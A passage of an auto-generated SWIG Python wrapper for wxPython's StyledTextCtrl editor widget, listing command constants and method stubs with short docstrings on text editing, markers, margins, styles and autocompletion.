_stc.STC_CMD_LINEDELETE\nSTC_CMD_LINETRANSPOSE = _stc.STC_CMD_LINETRANSPOSE\nSTC_CMD_LINEDUPLICATE = _stc.STC_CMD_LINEDUPLICATE\nSTC_CMD_LOWERCASE = _stc.STC_CMD_LOWERCASE\nSTC_CMD_UPPERCASE = _stc.STC_CMD_UPPERCASE\nSTC_CMD_LINESCROLLDOWN = _stc.STC_CMD_LINESCROLLDOWN\nSTC_CMD_LINESCROLLUP = _stc.STC_CMD_LINESCROLLUP\nSTC_CMD_DELETEBACKNOTLINE = _stc.STC_CMD_DELETEBACKNOTLINE\nSTC_CMD_HOMEDISPLAY = _stc.STC_CMD_HOMEDISPLAY\nSTC_CMD_HOMEDISPLAYEXTEND = _stc.STC_CMD_HOMEDISPLAYEXTEND\nSTC_CMD_LINEENDDISPLAY = _stc.STC_CMD_LINEENDDISPLAY\nSTC_CMD_LINEENDDISPLAYEXTEND = _stc.STC_CMD_LINEENDDISPLAYEXTEND\nSTC_CMD_HOMEWRAP = _stc.STC_CMD_HOMEWRAP\nSTC_CMD_HOMEWRAPEXTEND = _stc.STC_CMD_HOMEWRAPEXTEND\nSTC_CMD_LINEENDWRAP = _stc.STC_CMD_LINEENDWRAP\nSTC_CMD_LINEENDWRAPEXTEND = _stc.STC_CMD_LINEENDWRAPEXTEND\nSTC_CMD_VCHOMEWRAP = _stc.STC_CMD_VCHOMEWRAP\nSTC_CMD_VCHOMEWRAPEXTEND = _stc.STC_CMD_VCHOMEWRAPEXTEND\nSTC_CMD_LINECOPY = _stc.STC_CMD_LINECOPY\nSTC_CMD_WORDPARTLEFT = _stc.STC_CMD_WORDPARTLEFT\nSTC_CMD_WORDPARTLEFTEXTEND = _stc.STC_CMD_WORDPARTLEFTEXTEND\nSTC_CMD_WORDPARTRIGHT = _stc.STC_CMD_WORDPARTRIGHT\nSTC_CMD_WORDPARTRIGHTEXTEND = _stc.STC_CMD_WORDPARTRIGHTEXTEND\nSTC_CMD_DELLINELEFT = _stc.STC_CMD_DELLINELEFT\nSTC_CMD_DELLINERIGHT = _stc.STC_CMD_DELLINERIGHT\nSTC_CMD_PARADOWN = _stc.STC_CMD_PARADOWN\nSTC_CMD_PARADOWNEXTEND = _stc.STC_CMD_PARADOWNEXTEND\nSTC_CMD_PARAUP = _stc.STC_CMD_PARAUP\nSTC_CMD_PARAUPEXTEND = _stc.STC_CMD_PARAUPEXTEND\nSTC_CMD_LINEDOWNRECTEXTEND = _stc.STC_CMD_LINEDOWNRECTEXTEND\nSTC_CMD_LINEUPRECTEXTEND = _stc.STC_CMD_LINEUPRECTEXTEND\nSTC_CMD_CHARLEFTRECTEXTEND = _stc.STC_CMD_CHARLEFTRECTEXTEND\nSTC_CMD_CHARRIGHTRECTEXTEND = _stc.STC_CMD_CHARRIGHTRECTEXTEND\nSTC_CMD_HOMERECTEXTEND = _stc.STC_CMD_HOMERECTEXTEND\nSTC_CMD_VCHOMERECTEXTEND = _stc.STC_CMD_VCHOMERECTEXTEND\nSTC_CMD_LINEENDRECTEXTEND = _stc.STC_CMD_LINEENDRECTEXTEND\nSTC_CMD_PAGEUPRECTEXTEND = _stc.STC_CMD_PAGEUPRECTEXTEND\nSTC_CMD_PAGEDOWNRECTEXTEND = _stc.STC_CMD_PAGEDOWNRECTEXTEND\nSTC_CMD_STUTTEREDPAGEUP = _stc.STC_CMD_STUTTEREDPAGEUP\nSTC_CMD_STUTTEREDPAGEUPEXTEND = _stc.STC_CMD_STUTTEREDPAGEUPEXTEND\nSTC_CMD_STUTTEREDPAGEDOWN = _stc.STC_CMD_STUTTEREDPAGEDOWN\nSTC_CMD_STUTTEREDPAGEDOWNEXTEND = _stc.STC_CMD_STUTTEREDPAGEDOWNEXTEND\nSTC_CMD_WORDLEFTEND = _stc.STC_CMD_WORDLEFTEND\nSTC_CMD_WORDLEFTENDEXTEND = _stc.STC_CMD_WORDLEFTENDEXTEND\nSTC_CMD_WORDRIGHTEND = _stc.STC_CMD_WORDRIGHTEND\nSTC_CMD_WORDRIGHTENDEXTEND = _stc.STC_CMD_WORDRIGHTENDEXTEND\nclass StyledTextCtrl(_core.Control):\n \"\"\"Proxy of C++ StyledTextCtrl class\"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n def __init__(self, *args, **kwargs): \n \"\"\"\n __init__(self, Window parent, int id=ID_ANY, Point pos=DefaultPosition, \n Size size=DefaultSize, long style=0, String name=STCNameStr) -> StyledTextCtrl\n \"\"\"\n _stc.StyledTextCtrl_swiginit(self,_stc.new_StyledTextCtrl(*args, **kwargs))\n self._setOORInfo(self)\n\n def Create(*args, **kwargs):\n \"\"\"\n Create(self, Window parent, int id=ID_ANY, Point pos=DefaultPosition, \n Size size=DefaultSize, long style=0, String name=wxSTCNameStr) -> bool\n \"\"\"\n return _stc.StyledTextCtrl_Create(*args, **kwargs)\n\n def AddText(*args, **kwargs):\n \"\"\"\n AddText(self, String text)\n\n Add text to the document at current position.\n \"\"\"\n return _stc.StyledTextCtrl_AddText(*args, **kwargs)\n\n def AddStyledText(*args, **kwargs):\n \"\"\"\n AddStyledText(self, wxMemoryBuffer data)\n\n Add array of cells to document.\n \"\"\"\n return _stc.StyledTextCtrl_AddStyledText(*args, **kwargs)\n\n def InsertText(*args, **kwargs):\n \"\"\"\n InsertText(self, int pos, String text)\n\n Insert string at a position.\n \"\"\"\n return _stc.StyledTextCtrl_InsertText(*args, **kwargs)\n\n def ClearAll(*args, **kwargs):\n \"\"\"\n ClearAll(self)\n\n Delete all text in the document.\n \"\"\"\n return _stc.StyledTextCtrl_ClearAll(*args, **kwargs)\n\n def ClearDocumentStyle(*args, **kwargs):\n \"\"\"\n ClearDocumentStyle(self)\n\n Set all style bytes to 0, remove all folding information.\n \"\"\"\n return _stc.StyledTextCtrl_ClearDocumentStyle(*args, **kwargs)\n\n def GetLength(*args, **kwargs):\n \"\"\"\n GetLength(self) -> int\n\n Returns the number of characters in the document.\n \"\"\"\n return _stc.StyledTextCtrl_GetLength(*args, **kwargs)\n\n def GetCharAt(*args, **kwargs):\n \"\"\"\n GetCharAt(self, int pos) -> int\n\n Returns the character byte at the position.\n \"\"\"\n return _stc.StyledTextCtrl_GetCharAt(*args, **kwargs)\n\n def GetCurrentPos(*args, **kwargs):\n \"\"\"\n GetCurrentPos(self) -> int\n\n Returns the position of the caret.\n \"\"\"\n return _stc.StyledTextCtrl_GetCurrentPos(*args, **kwargs)\n\n def GetAnchor(*args, **kwargs):\n \"\"\"\n GetAnchor(self) -> int\n\n Returns the position of the opposite end of the selection to the caret.\n \"\"\"\n return _stc.StyledTextCtrl_GetAnchor(*args, **kwargs)\n\n def GetStyleAt(*args, **kwargs):\n \"\"\"\n GetStyleAt(self, int pos) -> int\n\n Returns the style byte at the position.\n \"\"\"\n return _stc.StyledTextCtrl_GetStyleAt(*args, **kwargs)\n\n def Redo(*args, **kwargs):\n \"\"\"\n Redo(self)\n\n Redoes the next action on the undo history.\n \"\"\"\n return _stc.StyledTextCtrl_Redo(*args, **kwargs)\n\n def SetUndoCollection(*args, **kwargs):\n \"\"\"\n SetUndoCollection(self, bool collectUndo)\n\n Choose between collecting actions into the undo\n history and discarding them.\n \"\"\"\n return _stc.StyledTextCtrl_SetUndoCollection(*args, **kwargs)\n\n def SelectAll(*args, **kwargs):\n \"\"\"\n SelectAll(self)\n\n Select all the text in the document.\n \"\"\"\n return _stc.StyledTextCtrl_SelectAll(*args, **kwargs)\n\n def SetSavePoint(*args, **kwargs):\n \"\"\"\n SetSavePoint(self)\n\n Remember the current position in the undo history as the position\n at which the document was saved.\n \"\"\"\n return _stc.StyledTextCtrl_SetSavePoint(*args, **kwargs)\n\n def GetStyledText(*args, **kwargs):\n \"\"\"\n GetStyledText(self, int startPos, int endPos) -> wxMemoryBuffer\n\n Retrieve a buffer of cells.\n \"\"\"\n return _stc.StyledTextCtrl_GetStyledText(*args, **kwargs)\n\n def CanRedo(*args, **kwargs):\n \"\"\"\n CanRedo(self) -> bool\n\n Are there any redoable actions in the undo history?\n \"\"\"\n return _stc.StyledTextCtrl_CanRedo(*args, **kwargs)\n\n def MarkerLineFromHandle(*args, **kwargs):\n \"\"\"\n MarkerLineFromHandle(self, int handle) -> int\n\n Retrieve the line number at which a particular marker is located.\n \"\"\"\n return _stc.StyledTextCtrl_MarkerLineFromHandle(*args, **kwargs)\n\n def MarkerDeleteHandle(*args, **kwargs):\n \"\"\"\n MarkerDeleteHandle(self, int handle)\n\n Delete a marker.\n \"\"\"\n return _stc.StyledTextCtrl_MarkerDeleteHandle(*args, **kwargs)\n\n def GetUndoCollection(*args, **kwargs):\n \"\"\"\n GetUndoCollection(self) -> bool\n\n Is undo history being collected?\n \"\"\"\n return _stc.StyledTextCtrl_GetUndoCollection(*args, **kwargs)\n\n def GetViewWhiteSpace(*args, **kwargs):\n \"\"\"\n GetViewWhiteSpace(self) -> int\n\n Are white space characters currently visible?\n Returns one of SCWS_* constants.\n \"\"\"\n return _stc.StyledTextCtrl_GetViewWhiteSpace(*args, **kwargs)\n\n def SetViewWhiteSpace(*args, **kwargs):\n \"\"\"\n SetViewWhiteSpace(self, int viewWS)\n\n Make white space characters invisible, always visible or visible outside indentation.\n \"\"\"\n return _stc.StyledTextCtrl_SetViewWhiteSpace(*args, **kwargs)\n\n def PositionFromPoint(*args, **kwargs):\n \"\"\"\n PositionFromPoint(self, Point pt) -> int\n\n Find the position from a point within the window.\n \"\"\"\n return _stc.StyledTextCtrl_PositionFromPoint(*args, **kwargs)\n\n def PositionFromPointClose(*args, **kwargs):\n \"\"\"\n PositionFromPointClose(self, int x, int y) -> int\n\n Find the position from a point within the window but return\n INVALID_POSITION if not close to text.\n \"\"\"\n return _stc.StyledTextCtrl_PositionFromPointClose(*args, **kwargs)\n\n def GotoLine(*args, **kwargs):\n \"\"\"\n GotoLine(self, int line)\n\n Set caret to start of a line and ensure it is visible.\n \"\"\"\n return _stc.StyledTextCtrl_GotoLine(*args, **kwargs)\n\n def GotoPos(*args, **kwargs):\n \"\"\"\n GotoPos(self, int pos)\n\n Set caret to a position and ensure it is visible.\n \"\"\"\n return _stc.StyledTextCtrl_GotoPos(*args, **kwargs)\n\n def SetAnchor(*args, **kwargs):\n \"\"\"\n SetAnchor(self, int posAnchor)\n\n Set the selection anchor to a position. The anchor is the opposite\n end of the selection from the caret.\n \"\"\"\n return _stc.StyledTextCtrl_SetAnchor(*args, **kwargs)\n\n def GetCurLine(*args, **kwargs):\n \"\"\"\n GetCurLine(self) -> (text, pos)\n\n Retrieve the text of the line containing the caret, and also theindex\n of the caret on the line.\n \"\"\"\n return _stc.StyledTextCtrl_GetCurLine(*args, **kwargs)\n\n def GetEndStyled(*args, **kwargs):\n \"\"\"\n GetEndStyled(self) -> int\n\n Retrieve the position of the last correctly styled character.\n \"\"\"\n return _stc.StyledTextCtrl_GetEndStyled(*args, **kwargs)\n\n def ConvertEOLs(*args, **kwargs):\n \"\"\"\n ConvertEOLs(self, int eolMode)\n\n Convert all line endings in the document to one mode.\n \"\"\"\n return _stc.StyledTextCtrl_ConvertEOLs(*args, **kwargs)\n\n def GetEOLMode(*args, **kwargs):\n \"\"\"\n GetEOLMode(self) -> int\n\n Retrieve the current end of line mode - one of CRLF, CR, or LF.\n \"\"\"\n return _stc.StyledTextCtrl_GetEOLMode(*args, **kwargs)\n\n def SetEOLMode(*args, **kwargs):\n \"\"\"\n SetEOLMode(self, int eolMode)\n\n Set the current end of line mode.\n \"\"\"\n return _stc.StyledTextCtrl_SetEOLMode(*args, **kwargs)\n\n def StartStyling(*args, **kwargs):\n \"\"\"\n StartStyling(self, int pos, int mask)\n\n Set the current styling position to pos and the styling mask to mask.\n The styling mask can be used to protect some bits in each styling byte from modification.\n \"\"\"\n return _stc.StyledTextCtrl_StartStyling(*args, **kwargs)\n\n def SetStyling(*args, **kwargs):\n \"\"\"\n SetStyling(self, int length, int style)\n\n Change style from current styling position for length characters to a style\n and move the current styling position to after this newly styled segment.\n \"\"\"\n return _stc.StyledTextCtrl_SetStyling(*args, **kwargs)\n\n def GetBufferedDraw(*args, **kwargs):\n \"\"\"\n GetBufferedDraw(self) -> bool\n\n Is drawing done first into a buffer or direct to the screen?\n \"\"\"\n return _stc.StyledTextCtrl_GetBufferedDraw(*args, **kwargs)\n\n def SetBufferedDraw(*args, **kwargs):\n \"\"\"\n SetBufferedDraw(self, bool buffered)\n\n If drawing is buffered then each line of text is drawn into a bitmap buffer\n before drawing it to the screen to avoid flicker.\n \"\"\"\n return _stc.StyledTextCtrl_SetBufferedDraw(*args, **kwargs)\n\n def SetTabWidth(*args, **kwargs):\n \"\"\"\n SetTabWidth(self, int tabWidth)\n\n Change the visible size of a tab to be a multiple of the width of a space character.\n \"\"\"\n return _stc.StyledTextCtrl_SetTabWidth(*args, **kwargs)\n\n def GetTabWidth(*args, **kwargs):\n \"\"\"\n GetTabWidth(self) -> int\n\n Retrieve the visible size of a tab.\n \"\"\"\n return _stc.StyledTextCtrl_GetTabWidth(*args, **kwargs)\n\n def SetCodePage(*args, **kwargs):\n \"\"\"\n SetCodePage(self, int codePage)\n\n Set the code page used to interpret the bytes of the document as characters.\n \"\"\"\n return _stc.StyledTextCtrl_SetCodePage(*args, **kwargs)\n\n def MarkerDefine(*args, **kwargs):\n \"\"\"\n MarkerDefine(self, int markerNumber, int markerSymbol, Colour foreground=wxNullColour, \n Colour background=wxNullColour)\n\n Set the symbol used for a particular marker number,\n and optionally the fore and background colours.\n \"\"\"\n return _stc.StyledTextCtrl_MarkerDefine(*args, **kwargs)\n\n def MarkerSetForeground(*args, **kwargs):\n \"\"\"\n MarkerSetForeground(self, int markerNumber, Colour fore)\n\n Set the foreground colour used for a particular marker number.\n \"\"\"\n return _stc.StyledTextCtrl_MarkerSetForeground(*args, **kwargs)\n\n def MarkerSetBackground(*args, **kwargs):\n \"\"\"\n MarkerSetBackground(self, int markerNumber, Colour back)\n\n Set the background colour used for a particular marker number.\n \"\"\"\n return _stc.StyledTextCtrl_MarkerSetBackground(*args, **kwargs)\n\n def MarkerAdd(*args, **kwargs):\n \"\"\"\n MarkerAdd(self, int line, int markerNumber) -> int\n\n Add a marker to a line, returning an ID which can be used to find or delete the marker.\n \"\"\"\n return _stc.StyledTextCtrl_MarkerAdd(*args, **kwargs)\n\n def MarkerDelete(*args, **kwargs):\n \"\"\"\n MarkerDelete(self, int line, int markerNumber)\n\n Delete a marker from a line.\n \"\"\"\n return _stc.StyledTextCtrl_MarkerDelete(*args, **kwargs)\n\n def MarkerDeleteAll(*args, **kwargs):\n \"\"\"\n MarkerDeleteAll(self, int markerNumber)\n\n Delete all markers with a particular number from all lines.\n \"\"\"\n return _stc.StyledTextCtrl_MarkerDeleteAll(*args, **kwargs)\n\n def MarkerGet(*args, **kwargs):\n \"\"\"\n MarkerGet(self, int line) -> int\n\n Get a bit mask of all the markers set on a line.\n \"\"\"\n return _stc.StyledTextCtrl_MarkerGet(*args, **kwargs)\n\n def MarkerNext(*args, **kwargs):\n \"\"\"\n MarkerNext(self, int lineStart, int markerMask) -> int\n\n Find the next line after lineStart that includes a marker in mask.\n \"\"\"\n return _stc.StyledTextCtrl_MarkerNext(*args, **kwargs)\n\n def MarkerPrevious(*args, **kwargs):\n \"\"\"\n MarkerPrevious(self, int lineStart, int markerMask) -> int\n\n Find the previous line before lineStart that includes a marker in mask.\n \"\"\"\n return _stc.StyledTextCtrl_MarkerPrevious(*args, **kwargs)\n\n def MarkerDefineBitmap(*args, **kwargs):\n \"\"\"\n MarkerDefineBitmap(self, int markerNumber, Bitmap bmp)\n\n Define a marker from a bitmap\n \"\"\"\n return _stc.StyledTextCtrl_MarkerDefineBitmap(*args, **kwargs)\n\n def MarkerAddSet(*args, **kwargs):\n \"\"\"\n MarkerAddSet(self, int line, int set)\n\n Add a set of markers to a line.\n \"\"\"\n return _stc.StyledTextCtrl_MarkerAddSet(*args, **kwargs)\n\n def MarkerSetAlpha(*args, **kwargs):\n \"\"\"\n MarkerSetAlpha(self, int markerNumber, int alpha)\n\n Set the alpha used for a marker that is drawn in the text area, not the margin.\n \"\"\"\n return _stc.StyledTextCtrl_MarkerSetAlpha(*args, **kwargs)\n\n def SetMarginType(*args, **kwargs):\n \"\"\"\n SetMarginType(self, int margin, int marginType)\n\n Set a margin to be either numeric or symbolic.\n \"\"\"\n return _stc.StyledTextCtrl_SetMarginType(*args, **kwargs)\n\n def GetMarginType(*args, **kwargs):\n \"\"\"\n GetMarginType(self, int margin) -> int\n\n Retrieve the type of a margin.\n \"\"\"\n return _stc.StyledTextCtrl_GetMarginType(*args, **kwargs)\n\n def SetMarginWidth(*args, **kwargs):\n \"\"\"\n SetMarginWidth(self, int margin, int pixelWidth)\n\n Set the width of a margin to a width expressed in pixels.\n \"\"\"\n return _stc.StyledTextCtrl_SetMarginWidth(*args, **kwargs)\n\n def GetMarginWidth(*args, **kwargs):\n \"\"\"\n GetMarginWidth(self, int margin) -> int\n\n Retrieve the width of a margin in pixels.\n \"\"\"\n return _stc.StyledTextCtrl_GetMarginWidth(*args, **kwargs)\n\n def SetMarginMask(*args, **kwargs):\n \"\"\"\n SetMarginMask(self, int margin, int mask)\n\n Set a mask that determines which markers are displayed in a margin.\n \"\"\"\n return _stc.StyledTextCtrl_SetMarginMask(*args, **kwargs)\n\n def GetMarginMask(*args, **kwargs):\n \"\"\"\n GetMarginMask(self, int margin) -> int\n\n Retrieve the marker mask of a margin.\n \"\"\"\n return _stc.StyledTextCtrl_GetMarginMask(*args, **kwargs)\n\n def SetMarginSensitive(*args, **kwargs):\n \"\"\"\n SetMarginSensitive(self, int margin, bool sensitive)\n\n Make a margin sensitive or insensitive to mouse clicks.\n \"\"\"\n return _stc.StyledTextCtrl_SetMarginSensitive(*args, **kwargs)\n\n def GetMarginSensitive(*args, **kwargs):\n \"\"\"\n GetMarginSensitive(self, int margin) -> bool\n\n Retrieve the mouse click sensitivity of a margin.\n \"\"\"\n return _stc.StyledTextCtrl_GetMarginSensitive(*args, **kwargs)\n\n def StyleClearAll(*args, **kwargs):\n \"\"\"\n StyleClearAll(self)\n\n Clear all the styles and make equivalent to the global default style.\n \"\"\"\n return _stc.StyledTextCtrl_StyleClearAll(*args, **kwargs)\n\n def StyleSetForeground(*args, **kwargs):\n \"\"\"\n StyleSetForeground(self, int style, Colour fore)\n\n Set the foreground colour of a style.\n \"\"\"\n return _stc.StyledTextCtrl_StyleSetForeground(*args, **kwargs)\n\n def StyleSetBackground(*args, **kwargs):\n \"\"\"\n StyleSetBackground(self, int style, Colour back)\n\n Set the background colour of a style.\n \"\"\"\n return _stc.StyledTextCtrl_StyleSetBackground(*args, **kwargs)\n\n def StyleSetBold(*args, **kwargs):\n \"\"\"\n StyleSetBold(self, int style, bool bold)\n\n Set a style to be bold or not.\n \"\"\"\n return _stc.StyledTextCtrl_StyleSetBold(*args, **kwargs)\n\n def StyleSetItalic(*args, **kwargs):\n \"\"\"\n StyleSetItalic(self, int style, bool italic)\n\n Set a style to be italic or not.\n \"\"\"\n return _stc.StyledTextCtrl_StyleSetItalic(*args, **kwargs)\n\n def StyleSetSize(*args, **kwargs):\n \"\"\"\n StyleSetSize(self, int style, int sizePoints)\n\n Set the size of characters of a style.\n \"\"\"\n return _stc.StyledTextCtrl_StyleSetSize(*args, **kwargs)\n\n def StyleSetFaceName(*args, **kwargs):\n \"\"\"\n StyleSetFaceName(self, int style, String fontName)\n\n Set the font of a style.\n \"\"\"\n return _stc.StyledTextCtrl_StyleSetFaceName(*args, **kwargs)\n\n def StyleSetEOLFilled(*args, **kwargs):\n \"\"\"\n StyleSetEOLFilled(self, int style, bool filled)\n\n Set a style to have its end of line filled or not.\n \"\"\"\n return _stc.StyledTextCtrl_StyleSetEOLFilled(*args, **kwargs)\n\n def StyleResetDefault(*args, **kwargs):\n \"\"\"\n StyleResetDefault(self)\n\n Reset the default style to its state at startup\n \"\"\"\n return _stc.StyledTextCtrl_StyleResetDefault(*args, **kwargs)\n\n def StyleSetUnderline(*args, **kwargs):\n \"\"\"\n StyleSetUnderline(self, int style, bool underline)\n\n Set a style to be underlined or not.\n \"\"\"\n return _stc.StyledTextCtrl_StyleSetUnderline(*args, **kwargs)\n\n def StyleSetCase(*args, **kwargs):\n \"\"\"\n StyleSetCase(self, int style, int caseForce)\n\n Set a style to be mixed case, or to force upper or lower case.\n \"\"\"\n return _stc.StyledTextCtrl_StyleSetCase(*args, **kwargs)\n\n def StyleSetHotSpot(*args, **kwargs):\n \"\"\"\n StyleSetHotSpot(self, int style, bool hotspot)\n\n Set a style to be a hotspot or not.\n \"\"\"\n return _stc.StyledTextCtrl_StyleSetHotSpot(*args, **kwargs)\n\n def SetSelForeground(*args, **kwargs):\n \"\"\"\n SetSelForeground(self, bool useSetting, Colour fore)\n\n Set the foreground colour of the selection and whether to use this setting.\n \"\"\"\n return _stc.StyledTextCtrl_SetSelForeground(*args, **kwargs)\n\n def SetSelBackground(*args, **kwargs):\n \"\"\"\n SetSelBackground(self, bool useSetting, Colour back)\n\n Set the background colour of the selection and whether to use this setting.\n \"\"\"\n return _stc.StyledTextCtrl_SetSelBackground(*args, **kwargs)\n\n def GetSelAlpha(*args, **kwargs):\n \"\"\"\n GetSelAlpha(self) -> int\n\n Get the alpha of the selection.\n \"\"\"\n return _stc.StyledTextCtrl_GetSelAlpha(*args, **kwargs)\n\n def SetSelAlpha(*args, **kwargs):\n \"\"\"\n SetSelAlpha(self, int alpha)\n\n Set the alpha of the selection.\n \"\"\"\n return _stc.StyledTextCtrl_SetSelAlpha(*args, **kwargs)\n\n def SetCaretForeground(*args, **kwargs):\n \"\"\"\n SetCaretForeground(self, Colour fore)\n\n Set the foreground colour of the caret.\n \"\"\"\n return _stc.StyledTextCtrl_SetCaretForeground(*args, **kwargs)\n\n def CmdKeyAssign(*args, **kwargs):\n \"\"\"\n CmdKeyAssign(self, int key, int modifiers, int cmd)\n\n When key+modifier combination km is pressed perform msg.\n \"\"\"\n return _stc.StyledTextCtrl_CmdKeyAssign(*args, **kwargs)\n\n def CmdKeyClear(*args, **kwargs):\n \"\"\"\n CmdKeyClear(self, int key, int modifiers)\n\n When key+modifier combination km is pressed do nothing.\n \"\"\"\n return _stc.StyledTextCtrl_CmdKeyClear(*args, **kwargs)\n\n def CmdKeyClearAll(*args, **kwargs):\n \"\"\"\n CmdKeyClearAll(self)\n\n Drop all key mappings.\n \"\"\"\n return _stc.StyledTextCtrl_CmdKeyClearAll(*args, **kwargs)\n\n def SetStyleBytes(*args, **kwargs):\n \"\"\"\n SetStyleBytes(self, int length, char styleBytes)\n\n Set the styles for a segment of the document.\n \"\"\"\n return _stc.StyledTextCtrl_SetStyleBytes(*args, **kwargs)\n\n def StyleSetVisible(*args, **kwargs):\n \"\"\"\n StyleSetVisible(self, int style, bool visible)\n\n Set a style to be visible or not.\n \"\"\"\n return _stc.StyledTextCtrl_StyleSetVisible(*args, **kwargs)\n\n def GetCaretPeriod(*args, **kwargs):\n \"\"\"\n GetCaretPeriod(self) -> int\n\n Get the time in milliseconds that the caret is on and off.\n \"\"\"\n return _stc.StyledTextCtrl_GetCaretPeriod(*args, **kwargs)\n\n def SetCaretPeriod(*args, **kwargs):\n \"\"\"\n SetCaretPeriod(self, int periodMilliseconds)\n\n Get the time in milliseconds that the caret is on and off. 0 = steady on.\n \"\"\"\n return _stc.StyledTextCtrl_SetCaretPeriod(*args, **kwargs)\n\n def SetWordChars(*args, **kwargs):\n \"\"\"\n SetWordChars(self, String characters)\n\n Set the set of characters making up words for when moving or selecting by word.\n First sets deaults like SetCharsDefault.\n \"\"\"\n return _stc.StyledTextCtrl_SetWordChars(*args, **kwargs)\n\n def BeginUndoAction(*args, **kwargs):\n \"\"\"\n BeginUndoAction(self)\n\n Start a sequence of actions that is undone and redone as a unit.\n May be nested.\n \"\"\"\n return _stc.StyledTextCtrl_BeginUndoAction(*args, **kwargs)\n\n def EndUndoAction(*args, **kwargs):\n \"\"\"\n EndUndoAction(self)\n\n End a sequence of actions that is undone and redone as a unit.\n \"\"\"\n return _stc.StyledTextCtrl_EndUndoAction(*args, **kwargs)\n\n def IndicatorSetStyle(*args, **kwargs):\n \"\"\"\n IndicatorSetStyle(self, int indic, int style)\n\n Set an indicator to plain, squiggle or TT.\n \"\"\"\n return _stc.StyledTextCtrl_IndicatorSetStyle(*args, **kwargs)\n\n def IndicatorGetStyle(*args, **kwargs):\n \"\"\"\n IndicatorGetStyle(self, int indic) -> int\n\n Retrieve the style of an indicator.\n \"\"\"\n return _stc.StyledTextCtrl_IndicatorGetStyle(*args, **kwargs)\n\n def IndicatorSetForeground(*args, **kwargs):\n \"\"\"\n IndicatorSetForeground(self, int indic, Colour fore)\n\n Set the foreground colour of an indicator.\n \"\"\"\n return _stc.StyledTextCtrl_IndicatorSetForeground(*args, **kwargs)\n\n def IndicatorGetForeground(*args, **kwargs):\n \"\"\"\n IndicatorGetForeground(self, int indic) -> Colour\n\n Retrieve the foreground colour of an indicator.\n \"\"\"\n return _stc.StyledTextCtrl_IndicatorGetForeground(*args, **kwargs)\n\n def SetWhitespaceForeground(*args, **kwargs):\n \"\"\"\n SetWhitespaceForeground(self, bool useSetting, Colour fore)\n\n Set the foreground colour of all whitespace and whether to use this setting.\n \"\"\"\n return _stc.StyledTextCtrl_SetWhitespaceForeground(*args, **kwargs)\n\n def SetWhitespaceBackground(*args, **kwargs):\n \"\"\"\n SetWhitespaceBackground(self, bool useSetting, Colour back)\n\n Set the background colour of all whitespace and whether to use this setting.\n \"\"\"\n return _stc.StyledTextCtrl_SetWhitespaceBackground(*args, **kwargs)\n\n def SetStyleBits(*args, **kwargs):\n \"\"\"\n SetStyleBits(self, int bits)\n\n Divide each styling byte into lexical class bits (default: 5) and indicator\n bits (default: 3). If a lexer requires more than 32 lexical states, then this\n is used to expand the possible states.\n \"\"\"\n return _stc.StyledTextCtrl_SetStyleBits(*args, **kwargs)\n\n def GetStyleBits(*args, **kwargs):\n \"\"\"\n GetStyleBits(self) -> int\n\n Retrieve number of bits in style bytes used to hold the lexical state.\n \"\"\"\n return _stc.StyledTextCtrl_GetStyleBits(*args, **kwargs)\n\n def SetLineState(*args, **kwargs):\n \"\"\"\n SetLineState(self, int line, int state)\n\n Used to hold extra styling information for each line.\n \"\"\"\n return _stc.StyledTextCtrl_SetLineState(*args, **kwargs)\n\n def GetLineState(*args, **kwargs):\n \"\"\"\n GetLineState(self, int line) -> int\n\n Retrieve the extra styling information for a line.\n \"\"\"\n return _stc.StyledTextCtrl_GetLineState(*args, **kwargs)\n\n def GetMaxLineState(*args, **kwargs):\n \"\"\"\n GetMaxLineState(self) -> int\n\n Retrieve the last line number that has line state.\n \"\"\"\n return _stc.StyledTextCtrl_GetMaxLineState(*args, **kwargs)\n\n def GetCaretLineVisible(*args, **kwargs):\n \"\"\"\n GetCaretLineVisible(self) -> bool\n\n Is the background of the line containing the caret in a different colour?\n \"\"\"\n return _stc.StyledTextCtrl_GetCaretLineVisible(*args, **kwargs)\n\n def SetCaretLineVisible(*args, **kwargs):\n \"\"\"\n SetCaretLineVisible(self, bool show)\n\n Display the background of the line containing the caret in a different colour.\n \"\"\"\n return _stc.StyledTextCtrl_SetCaretLineVisible(*args, **kwargs)\n\n def GetCaretLineBackground(*args, **kwargs):\n \"\"\"\n GetCaretLineBackground(self) -> Colour\n\n Get the colour of the background of the line containing the caret.\n \"\"\"\n return _stc.StyledTextCtrl_GetCaretLineBackground(*args, **kwargs)\n\n def SetCaretLineBackground(*args, **kwargs):\n \"\"\"\n SetCaretLineBackground(self, Colour back)\n\n Set the colour of the background of the line containing the caret.\n \"\"\"\n return _stc.StyledTextCtrl_SetCaretLineBackground(*args, **kwargs)\n\n def StyleSetChangeable(*args, **kwargs):\n \"\"\"\n StyleSetChangeable(self, int style, bool changeable)\n\n Set a style to be changeable or not (read only).\n Experimental feature, currently buggy.\n \"\"\"\n return _stc.StyledTextCtrl_StyleSetChangeable(*args, **kwargs)\n\n def AutoCompShow(*args, **kwargs):\n \"\"\"\n AutoCompShow(self, int lenEntered, String itemList)\n\n Display a auto-completion list.\n The lenEntered parameter indicates how many characters before\n the caret should be used to provide context.\n \"\"\"\n return _stc.StyledTextCtrl_AutoCompShow(*args, **kwargs)\n\n def AutoCompCancel(*args, **kwargs):\n \"\"\"\n AutoCompCancel(self)\n\n Remove the auto-completion list from the screen.\n \"\"\"\n return _stc.StyledTextCtrl_AutoCompCancel(*args, **kwargs)\n\n def AutoCompActive(*args, **kwargs):\n \"\"\"\n AutoCompActive(self) -> bool\n\n Is there an auto-completion list visible?\n \"\"\"\n return _stc.StyledTextCtrl_AutoCompActive(*args, **kwargs)\n\n def AutoCompPosStart(*args, **kwargs):\n \"\"\"\n AutoCompPosStart(self) -> int\n\n Retrieve the position of the caret when the auto-completion list was displayed.\n \"\"\"\n return _stc.StyledTextCtrl_AutoCompPosStart(*args, **kwargs)\n\n def AutoCompComplete(*args, **kwargs):\n \"\"\"\n AutoCompComplete(self)\n\n User has selected an item so remove the list and insert the selection.\n \"\"\"\n return _stc.StyledTextCtrl_AutoCompComplete(*args, **kwargs)\n\n def AutoCompStops(*args, **kwargs):\n \"\"\"\n AutoCompStops(self, String characterSet)\n\n Define a set of character that when typed cancel the auto-completion list.\n \"\"\"\n return _stc.StyledTextCtrl_AutoCompStops(*args, **kwargs)\n\n def AutoCompSetSeparator(*args, **kwargs):\n \"\"\"\n AutoCompSetSeparator(self, int separatorCharacter)\n\n Change the separator character in the string setting up an auto-completion list.\n Default is space but can be changed if items contain space.\n \"\"\"\n return 